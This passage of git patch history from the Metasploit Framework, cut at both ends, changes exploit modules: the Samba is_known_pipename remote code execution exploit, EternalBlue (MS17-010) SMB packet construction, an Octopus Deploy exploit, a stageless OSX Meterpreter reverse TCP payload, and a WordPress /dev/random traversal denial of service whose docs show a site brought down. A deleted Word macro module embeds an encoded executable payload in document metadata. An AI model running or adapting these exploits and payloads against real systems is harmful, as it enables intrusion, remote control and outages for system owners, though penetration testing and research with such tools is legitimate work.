Msf::Exploit::Remote upload_payload # Find and execute the payload from the share - find_payload rescue Rex::StreamClosedError + begin + find_payload + rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply + end + + # Cleanup the payload + begin + simple.connect("\\\\#{rhost}\\#{@share}") + uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}" + simple.delete(uploaded_path) + rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply + end # Shutdown disconnect From 2ad386948ff23442b3fb656ec7a541e8c38231e9 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 25 May 2017 16:10:37 -0500 Subject: [PATCH 076/686] Small cosmetic typo --- modules/exploits/linux/samba/is_known_pipename.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 3ae4c1eb75..4d165f9eff 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -278,7 +278,7 @@ class MetasploitModule < Msf::Exploit::Remote return unless datastore['BruteforcePID'] # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d - # to non-root, but their /proc/pid directories are still owned by root. Tryign to + # to non-root, but their /proc/pid directories are still owned by root. Trying to # read the /proc/other-pid/cwd/target.so results in permission denied. There is a # good chance that this still works on some embedded systems and odd-ball Linux. From 1474faf909aac6687eedc38cb1e8742bd649dd20 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 25 May 2017 16:14:35 -0500 Subject: [PATCH 077/686] Remove ARMLE for now, will re-PR once functional --- modules/exploits/linux/samba/is_known_pipename.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 4d165f9eff..c4fb464a3a 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -44,14 +44,17 @@ class MetasploitModule < Msf::Exploit::Remote # 'Targets' => [ - [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], - # [ 'Linux MIPS', { 'Arch' => MIPS } ], + # + # Not ready yet + # [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], + # [ 'Linux MIPS', { 'Arch' => MIPS } ], ], 'Privileged' => true, 'DisclosureDate' => 'Mar 24 2017', - 'DefaultTarget' => 2)) + 'DefaultTarget' => 1)) register_options( [ From 330526af7266ab36d7eefdf6673032545c7f3361 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 25 May 2017 17:30:58 -0500 Subject: [PATCH 078/686] Update check method --- modules/exploits/windows/http/octopusdeploy_deploy.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/octopusdeploy_deploy.rb b/modules/exploits/windows/http/octopusdeploy_deploy.rb index 7366201e06..7e96999f7e 100644 --- a/modules/exploits/windows/http/octopusdeploy_deploy.rb +++ b/modules/exploits/windows/http/octopusdeploy_deploy.rb @@ -59,7 +59,12 @@ class MetasploitModule < Msf::Exploit::Remote elsif datastore['USERNAME'] && datastore['PASSWORD'] res = do_login else - fail_with(Failure::BadConfig, 'Need username and password or API key') + begin + fail_with(Failure::BadConfig, 'Need username and password or API key') + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return CheckCode::Unknown + end end disconnect return CheckCode::Unknown if res.nil? @@ -125,6 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote # Deploy # dash = do_get_dashboard(session, project_id) + environment = dash['Environments'][0]['Id'] environment_name = dash['Environments'][0]['Name'] skip_steps = do_get_skip_steps(session, release_id, environment, step_name) From a9e6df6f158b375ad2da721f467902df8bfdba34 Mon Sep 17 00:00:00 2001 From: Tim Date: Fri, 26 May 2017 15:55:14 +0800 Subject: [PATCH 079/686] fix shell command on osx meterpreter --- .../meterpreter/ui/console/command_dispatcher/stdapi/sys.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index acfe737328..774617bcbe 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -257,7 +257,7 @@ class Console::CommandDispatcher::Stdapi::Sys print_error( "Failed to spawn shell with thread impersonation. Retrying without it." ) cmd_execute("-f", path, "-c", "-H", "-i") end - when 'linux' + when 'linux', 'osx' # Don't expand_path() this because it's literal anyway path = "/bin/sh" cmd_execute("-f", path, "-c", "-i") From 1582d3a90261aa2e03d6f7e73dffbb98b48ba25e Mon Sep 17 00:00:00 2001 From: Tim Date: Fri, 26 May 2017 15:55:42 +0800 Subject: [PATCH 080/686] support i386 --- lib/msf/base/sessions/meterpreter_x86_osx.rb | 29 ++++++++++++++ .../osx/x86/meterpreter_reverse_tcp.rb | 40 +++++++++++++++++++ 2 files changed, 69 insertions(+) create mode 100644 lib/msf/base/sessions/meterpreter_x86_osx.rb create mode 100644 modules/payloads/singles/osx/x86/meterpreter_reverse_tcp.rb diff --git a/lib/msf/base/sessions/meterpreter_x86_osx.rb b/lib/msf/base/sessions/meterpreter_x86_osx.rb new file mode 100644 index 0000000000..c7e25efac9 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_x86_osx.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_x86_OSX < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.base_platform = 'osx' + self.base_arch = ARCH_X86 + end +end + +end +end + diff --git a/modules/payloads/singles/osx/x86/meterpreter_reverse_tcp.rb b/modules/payloads/singles/osx/x86/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000..756e3f5e73 --- /dev/null +++ b/modules/payloads/singles/osx/x86/meterpreter_reverse_tcp.rb @@ -0,0 +1,40 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_x86_osx' + +module MetasploitModule + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OSX Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_x86_OSX + ) + ) + end + + def generate + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('i386-apple-darwin', generate_config(opts)).to_binary :exec + end +end From 072ab7291c491f0537c7717ab45feffe97eecdee Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 26 May 2017 06:56:41 -0500 Subject: [PATCH 081/686] Add /tank (from ryan-c) to search path --- modules/exploits/linux/samba/is_known_pipename.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index c4fb464a3a..4a56f509b8 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -79,6 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote %W{ /volume1 /volume2 /volume3 /volume4 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared + /tank }.each do |base_name| candidates << base_name candidates << [base_name, @share] From 04a701dba523ba13eab5e05c6689fb11797dc1be Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 26 May 2017 07:31:34 -0500 Subject: [PATCH 082/686] Check template file extension name --- modules/exploits/multi/fileformat/office_word_macro.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/fileformat/office_word_macro.rb b/modules/exploits/multi/fileformat/office_word_macro.rb index adf1c9af59..9e73b887f0 100644 --- a/modules/exploits/multi/fileformat/office_word_macro.rb +++ b/modules/exploits/multi/fileformat/office_word_macro.rb @@ -265,6 +265,11 @@ class MetasploitModule < Msf::Exploit::Remote def exploit template_path = get_template_path + + unless File.extname(template_path).match(/\.docx$/i) + fail_with(Failure::BadConfig, 'Template is not a docx file.') + end + print_status("Using template: #{template_path}") @docx = unpack_docx(template_path) @@ -277,7 +282,6 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Finalizing docm: #{datastore['FILENAME']}") docm = pack_docm file_create(docm) - super end end From 162a660d45f45c8314e9444a103cb84fd6854468 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 26 May 2017 07:33:46 -0500 Subject: [PATCH 083/686] Remove the old windows/fileformat/office_word_macro windows/fileformat/office_word_macro.rb has been deprecated and it should have been removed on March 16th. If you want to create a Microsoft Office macro exploit, please use the multi/fileformat/office_word_macro exploit instead, which supports multiple platforms, and will support template injection. --- .../windows/fileformat/office_word_macro.rb | 111 ------------------ 1 file changed, 111 deletions(-) delete mode 100644 modules/exploits/windows/fileformat/office_word_macro.rb diff --git a/modules/exploits/windows/fileformat/office_word_macro.rb b/modules/exploits/windows/fileformat/office_word_macro.rb deleted file mode 100644 index 9cde1cf8c8..0000000000 --- a/modules/exploits/windows/fileformat/office_word_macro.rb +++ /dev/null @@ -1,111 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'rex/zip' - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::FILEFORMAT - include Msf::Exploit::EXE - include Msf::Module::Deprecated - - deprecated(Date.new(2017, 3, 16), 'exploit/multi/fileformat/office_word_macro') - - def initialize(info={}) - super(update_info(info, - 'Name' => "Microsoft Office Word Malicious Macro Execution", - 'Description' => %q{ - This module generates a macro-enabled Microsoft Office Word document. The comments - metadata in the data is injected with a Base64 encoded payload, which will be - decoded by the macro and execute as a Windows executable. - - For a successful attack, the victim is required to manually enable macro execution. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'sinn3r' # Metasploit - ], - 'References' => - [ - ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] - ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - 'DisablePayloadHandler' => true - }, - 'Platform' => 'win', - 'Targets' => - [ - ['Microsoft Office Word', {}], - ], - 'Privileged' => false, - 'DisclosureDate' => "Jan 10 2012", - 'DefaultTarget' => 0 - )) - - register_options([ - OptString.new("BODY", [false, 'The message for the document body', '']), - OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) - ]) - end - - - def on_file_read(short_fname, full_fname) - buf = File.read(full_fname) - - case short_fname - when /document\.xml/ - buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) - when /core\.xml/ - b64_payload = ' ' * 55 - b64_payload << Rex::Text.encode_base64(generate_payload_exe) - buf.gsub!(/PAYLOADGOESHERE/, b64_payload) - end - - # The original filename of __rels is actually ".rels". - # But for some reason if that's our original filename, it won't be included - # in the archive. So this hacks around that. - case short_fname - when /__rels/ - short_fname.gsub!(/\_\_rels/, '.rels') - end - - yield short_fname, buf - end - - - def package_docm(path) - zip = Rex::Zip::Archive.new - - Dir["#{path}/**/**"].each do |file| - p = file.sub(path+'/','') - - if File.directory?(file) - print_status("Packaging directory: #{file}") - zip.add_file(p) - else - on_file_read(p, file) do |fname, buf| - print_status("Packaging file: #{fname}") - zip.add_file(fname, buf) - end - end - end - - zip.pack - end - - - def exploit - print_status('Generating our docm file...') - path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') - docm = package_docm(path) - file_create(docm) - super - end - -end From 33ddef930361c2f9358734830fb812b2e88a3c06 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 26 May 2017 16:14:03 +0200 Subject: [PATCH 084/686] Add documentation, add configurable depth path --- .../http/wordpress_directory_traversal_dos.md | 31 +++++++++++++++++++ .../http/wordpress_directory_traversal_dos.rb | 18 ++++++++++- 2 files changed, 48 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.md diff --git a/documentation/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.md b/documentation/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.md new file mode 100644 index 0000000000..d15c19e013 --- /dev/null +++ b/documentation/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.md @@ -0,0 +1,31 @@ +This module exploits a Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php in Wordpress before 4.6. Allows remote authenticated users to cause a denial of service (with /dev/random read operations). +## Verification + +1. Start msfconsole +2. Do: ```use auxiliary/dos/http/wordpress_directory_traversal_dos.rb``` +3. Do: ```set RHOST ``` +4. Do: ```set TARGETURI ``` +5. Do: ```set USERNAME ``` +6. Do: ```set PASSWORD ``` +7. Do: ```exploit``` +8. WordPress website should be down + +## Scenarios + +``` +msf auxiliary(wordpress_directory_traversal_dos) > exploit + +[*] Checking if user "test" exists... +[+] Username "test" is valid +[*] Executing requests 1 - 5... +[+] Finished executing requests 1 - 5 +[*] Executing requests 6 - 10... +[+] Finished executing requests 6 - 10 +... +[*] Executing requests 191 - 195... +[+] Finished executing requests 191 - 195 +[*] Executing requests 196 - 200... +[+] Finished executing requests 196 - 200 +[+] SUCCESS: /wordpress appears to be down +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb index 78f22fb686..d0c843a9b0 100644 --- a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb @@ -11,7 +11,12 @@ class MetasploitModule < Msf::Auxiliary super(update_info( info, 'Name' => 'WordPress Traversal Directory DoS', - 'Description' => %q{Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php in WordPress before 4.6 allows remote attackers to hijack the authentication of subscribers for /dev/random read operations by leveraging a late call to the check_ajax_referer function, a related issue to CVE-2016-6896.}, + 'Description' => %q{ + Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin + function in wp-admin/includes/ajax-actions.php in WordPress before 4.6 + allows remote attackers to hijack the authentication of subscribers + for /dev/random read operations by leveraging a late call to + the check_ajax_referer function, a related issue to CVE-2016-6896.}, 'License' => MSF_LICENSE, 'Author' => [ @@ -32,6 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]), OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]), + OptInt.new('DEPTH', [true, 'The depth of the path', 10]), OptString.new('USERNAME', [true, 'The username to send the requests with', '']), OptString.new('PASSWORD', [true, 'The password to send the requests with', '']) ]) @@ -57,6 +63,10 @@ class MetasploitModule < Msf::Auxiliary datastore['TIMEOUT'] end + def depth + datastore['DEPTH'] + end + def report_cred(opts) service_data = { address: opts[:ip], @@ -117,6 +127,12 @@ class MetasploitModule < Msf::Auxiliary return end + path = '/' + 1.upto(depth) do |i| + path += '../' + end + path += 'dev/random' + while starting_thread < rlimit do ubound = [rlimit - (starting_thread - 1), thread_count].min print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...") From 9b9d2f2345c9eb21abdeae98c96b9259829cc45c Mon Sep 17 00:00:00 2001 From: root Date: Fri, 26 May 2017 16:23:22 +0200 Subject: [PATCH 085/686] Final version of configurable depth --- modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb index d0c843a9b0..d934b257e5 100644 --- a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb @@ -147,7 +147,7 @@ class MetasploitModule < Msf::Auxiliary 'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'), 'vars_post' => { 'action' => 'update-plugin', - 'plugin' => '../../../../../../../../../../dev/random' + 'plugin' => path }, 'cookie' => cookie }, timeout = 0.2) From 15b3b7de41d9aec6fa07694ad87b6f8da61b2011 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 26 May 2017 10:02:14 -0700 Subject: [PATCH 086/686] Bump version of framework to 4.14.23 --- Gemfile.lock | 8 ++++---- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 1c5394bfd6..efd65ba20f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -24,7 +24,7 @@ GIT PATH remote: . specs: - metasploit-framework (4.14.22) + metasploit-framework (4.14.23) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -278,7 +278,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (12.0.0) rb-readline (0.5.4) - recog (2.1.7) + recog (2.1.8) nokogiri redcarpet (3.4.0) rex-arch (0.1.4) @@ -345,7 +345,7 @@ GEM rspec-mocks (~> 3.6.0) rspec-support (~> 3.6.0) rspec-support (3.6.0) - ruby_smb (0.0.14) + ruby_smb (0.0.17) bindata rubyntlm windows_error @@ -377,7 +377,7 @@ GEM tzinfo (>= 1.0.0) windows_error (0.1.2) xmlrpc (0.3.0) - xpath (2.0.0) + xpath (2.1.0) nokogiri (~> 1.3) yard (0.9.9) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index ab85189cbe..60b49905a2 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.14.22" + VERSION = "4.14.23" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From b3e99ee9d27484e0c3de1cb0e8275af38bccdd18 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 26 May 2017 12:30:19 -0500 Subject: [PATCH 087/686] point to local gem copy for testing and dev remove this later, use a local copy of rubysmb --- Gemfile | 2 +- Gemfile.lock | 13 +++++++++---- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/Gemfile b/Gemfile index 9a3dd9a14d..bb38d05c61 100755 --- a/Gemfile +++ b/Gemfile @@ -6,7 +6,7 @@ gemspec name: 'metasploit-framework' gem 'bit-struct', git: 'https://github.com/busterb/bit-struct', branch: 'ruby-2.4' gem 'method_source', git: 'https://github.com/banister/method_source', branch: 'master' - +gem 'ruby_smb', path: '/Users/dmaloney/rapid7/ruby_smb' # separate from test as simplecov is not run on travis-ci group :coverage do # code coverage for tests diff --git a/Gemfile.lock b/Gemfile.lock index aa3599cac8..21de844411 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -87,6 +87,14 @@ PATH windows_error xmlrpc +PATH + remote: /Users/dmaloney/rapid7/ruby_smb + specs: + ruby_smb (0.0.17) + bindata + rubyntlm + windows_error + GEM remote: https://rubygems.org/ specs: @@ -345,10 +353,6 @@ GEM rspec-mocks (~> 3.6.0) rspec-support (~> 3.6.0) rspec-support (3.6.0) - ruby_smb (0.0.17) - bindata - rubyntlm - windows_error rubyntlm (0.6.2) rubyzip (1.2.1) sawyer (0.8.1) @@ -398,6 +402,7 @@ DEPENDENCIES rake redcarpet rspec-rails + ruby_smb! shoulda-matchers simplecov timecop From b3a5a8840b7384799c7b040c6c5c86a057b2200a Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 26 May 2017 14:10:26 -0400 Subject: [PATCH 088/686] added ubuntu information --- documentation/modules/exploit/linux/samba/is_known_pipename.md | 1 + 1 file changed, 1 insertion(+) diff --git a/documentation/modules/exploit/linux/samba/is_known_pipename.md b/documentation/modules/exploit/linux/samba/is_known_pipename.md index ce62629dd4..5bbd717b90 100644 --- a/documentation/modules/exploit/linux/samba/is_known_pipename.md +++ b/documentation/modules/exploit/linux/samba/is_known_pipename.md @@ -32,6 +32,7 @@ Verified on: 6. Ubuntu 14.04.5 x64 (Samba 4.3.9) 7. Ubuntu 15.04 (Samba 4.1.13) 8. Ubuntu 16.04 (Samba 4.3.11) + * 1:4.3.11+dfsg-0ubuntu0.16.04.3 and older are vulnerable, fixed in [2:4.3.11+dfsg-0ubuntu0.16.04.7](https://launchpad.net/ubuntu/+source/samba/2:4.3.11+dfsg-0ubuntu0.16.04.7) 9. Fedora 24 (Samba 4.4.13) Currently not working against: From a91c954361bb6c319c8fe9e8053e6c0cd908326f Mon Sep 17 00:00:00 2001 From: Renato Piccoli Date: Mon, 22 May 2017 21:43:29 +0200 Subject: [PATCH 089/686] Fix .travis.yml - Try to update the bundler before using it. - Use single quotes (') around the variable definition. - Echo the final command right before running it. - Call bash to run the final command. --- .travis.yml | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/.travis.yml b/.travis.yml index 5fb2123829..4bb232ea55 100644 --- a/.travis.yml +++ b/.travis.yml @@ -16,9 +16,9 @@ rvm: - '2.4.1' env: - - CMD=bundle exec rake "cucumber cucumber:boot" CREATE_BINSTUBS=true - - CMD=bundle exec rake spec SPEC_OPTS="--tag content" - - CMD=bundle exec rake spec SPEC_OPTS="--tag ~content" + - CMD='bundle exec rake cucumber cucumber:boot CREATE_BINSTUBS=true' + - CMD='bundle exec rake spec SPEC_OPTS="--tag content"' + - CMD='bundle exec rake spec SPEC_OPTS="--tag ~content"' matrix: fast_finish: true @@ -32,14 +32,18 @@ before_install: - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge - ls -la ./.git/hooks - ./.git/hooks/post-merge + # Update the bundler + - gem install bundler before_script: - cp config/database.yml.travis config/database.yml - bundle exec rake --version - bundle exec rake db:create - bundle exec rake db:migrate -script: # fail build if db/schema.rb update is not committed - - git diff --exit-code db/schema.rb && $CMD + - git diff --exit-code db/schema.rb +script: + - echo "${CMD}" + - bash -c "${CMD}" notifications: irc: "irc.freenode.org#msfnotify" From ab8326755d10c102f9169190f4d0965b2db8a88f Mon Sep 17 00:00:00 2001 From: Renato Piccoli Date: Tue, 23 May 2017 21:35:58 +0200 Subject: [PATCH 090/686] Travis: disable the failing tests. #8444 They have not been executed for a while. TODO: re-enable them when they succeed again. --- .travis.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 4bb232ea55..bb43dc1c92 100644 --- a/.travis.yml +++ b/.travis.yml @@ -16,7 +16,8 @@ rvm: - '2.4.1' env: - - CMD='bundle exec rake cucumber cucumber:boot CREATE_BINSTUBS=true' +# TODO: restore these tests when the code passes them! +# - CMD='bundle exec rake cucumber cucumber:boot CREATE_BINSTUBS=true' - CMD='bundle exec rake spec SPEC_OPTS="--tag content"' - CMD='bundle exec rake spec SPEC_OPTS="--tag ~content"' From f0f99ad4797066f4e2b7f8127a3e09799e437e30 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 26 May 2017 14:54:46 -0500 Subject: [PATCH 091/686] nttrans packet setup correctly,everything broken got the nttrans packet setup correctly but somewhere along the line i broke the whole exploit wtf? --- Gemfile.lock | 2 +- .../windows/smb/ms17_010_eternalblue.rb | 65 +++++++++---------- 2 files changed, 30 insertions(+), 37 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 21de844411..7715d91aa2 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -90,7 +90,7 @@ PATH PATH remote: /Users/dmaloney/rapid7/ruby_smb specs: - ruby_smb (0.0.17) + ruby_smb (0.0.18) bindata rubyntlm windows_error diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index 0ed68a3496..1d61103e1a 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -528,45 +528,38 @@ class MetasploitModule < Msf::Exploit::Remote end def make_smb1_nt_trans_packet(tree_id, user_id) - pkt = "" - pkt << "\x00" # Session message - pkt << "\x00\x04\x38" # length - pkt << "\xffSMB" # SMB1 - pkt << "\xa0" # NT Trans - pkt << "\x00\x00\x00\x00" # NT SUCCESS - pkt << "\x18" # Flags - pkt << "\x07\xc0" # Flags2 - pkt << "\x00\x00" # PID High - pkt << "\x00\x00\x00\x00" # Signature1 - pkt << "\x00\x00\x00\x00" # Signature2 - pkt << "\x00\x00" # Reserved - pkt << [tree_id].pack("S>") # TreeID - pkt << "\xff\xfe" # PID - pkt << [user_id].pack("S>") # UserID - pkt << "\x40\x00" # MultiplexID + packet = RubySMB::SMB1::Packet::NtTrans::Request.new - pkt << "\x14" # Word Count - pkt << "\x01" # Max Setup Count - pkt << "\x00\x00" # Reserved - pkt << "\x1e\x00\x00\x00" # Total Param Count - pkt << "\xd0\x03\x01\x00" # Total Data Count - pkt << "\x1e\x00\x00\x00" # Max Param Count - pkt << "\x00\x00\x00\x00" # Max Data Count - pkt << "\x1e\x00\x00\x00" # Param Count - pkt << "\x4b\x00\x00\x00" # Param Offset - pkt << "\xd0\x03\x00\x00" # Data Count - pkt << "\x68\x00\x00\x00" # Data Offset - pkt << "\x01" # Setup Count - pkt << "\x00\x00" # Function - pkt << "\x00\x00" # Unknown NT transaction (0) setup - pkt << "\xec\x03" # Byte Count - pkt << "\x00" * 0x1f # NT Parameters + # Disable the automatic padding because it will distort + # our values here. + packet.data_block.enable_padding = false - # undocumented - pkt << "\x01" - pkt << "\x00" * 0x3cd + packet.smb_header.flags2.read("\x07\xc0") + packet.smb_header.tid = tree_id + packet.smb_header.uid = user_id + packet.smb_header.pid_low = 65279 + packet.smb_header.mid = 64 - pkt + packet.parameter_block.max_setup_count = 1 + packet.parameter_block.total_parameter_count = 30 + packet.parameter_block.total_data_count = 66512 + packet.parameter_block.max_parameter_count = 30 + packet.parameter_block.max_data_count = 0 + packet.parameter_block.parameter_count = 30 + packet.parameter_block.parameter_offset = 75 + packet.parameter_block.data_count = 976 + packet.parameter_block.data_offset = 104 + packet.parameter_block.function = 0 + + packet.parameter_block.setup << 0x0000 + + packet.data_block.byte_count = 1004 + packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ( "\x00" * 973 ) + + nbss = [packet.do_num_bytes].pack('N') + raw_packet = packet.to_binary_s + + nbss + raw_packet end def make_smb1_free_hole_session_packet(flags2, vcnum, native_os) From ee5f37d2f7a0e491c5d6880b35a5c5a46e18a6bd Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 26 May 2017 15:50:18 -0500 Subject: [PATCH 092/686] remove nt trans raw sock op don't send the nt transact packet as raw socket data, instead use the client send_recv method --- modules/exploits/windows/smb/ms17_010_eternalblue.rb | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index 1d61103e1a..d33622042c 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -321,11 +321,8 @@ class MetasploitModule < Msf::Exploit::Remote # send NT Trans vprint_status("Sending NT Trans Request packet") - sock.put(nt_trans_pkt) - - vprint_status("Receiving NT Trans packet") - raw = sock.get_once + client.send_recv(nt_trans_pkt) # Initial Trans2 request trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0) @@ -555,11 +552,7 @@ class MetasploitModule < Msf::Exploit::Remote packet.data_block.byte_count = 1004 packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ( "\x00" * 973 ) - - nbss = [packet.do_num_bytes].pack('N') - raw_packet = packet.to_binary_s - - nbss + raw_packet + packet end def make_smb1_free_hole_session_packet(flags2, vcnum, native_os) From 8caaba01f1325f6debf8164db140af026df08c4f Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 26 May 2017 17:01:18 -0500 Subject: [PATCH 093/686] Add share enumeration methods to the SMB mixin --- lib/msf/core/exploit/smb/client.rb | 195 +++++++++++++++++++++++++++++ 1 file changed, 195 insertions(+) diff --git a/lib/msf/core/exploit/smb/client.rb b/lib/msf/core/exploit/smb/client.rb index 4152af8163..f749a16513 100644 --- a/lib/msf/core/exploit/smb/client.rb +++ b/lib/msf/core/exploit/smb/client.rb @@ -638,6 +638,201 @@ module Msf lang end + # Map an integer share type to a human friendly descriptor + def smb_lookup_share_type(val) + [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val] + end + + # Retrieve detailed information about a specific share using any available method + def smb_netsharegetinfo(share) + smb_srvsvc_netsharegetinfo(share) + end + + # Retrieve detailed share dinformation via the NetShareGetInfo function in the Server Service + def 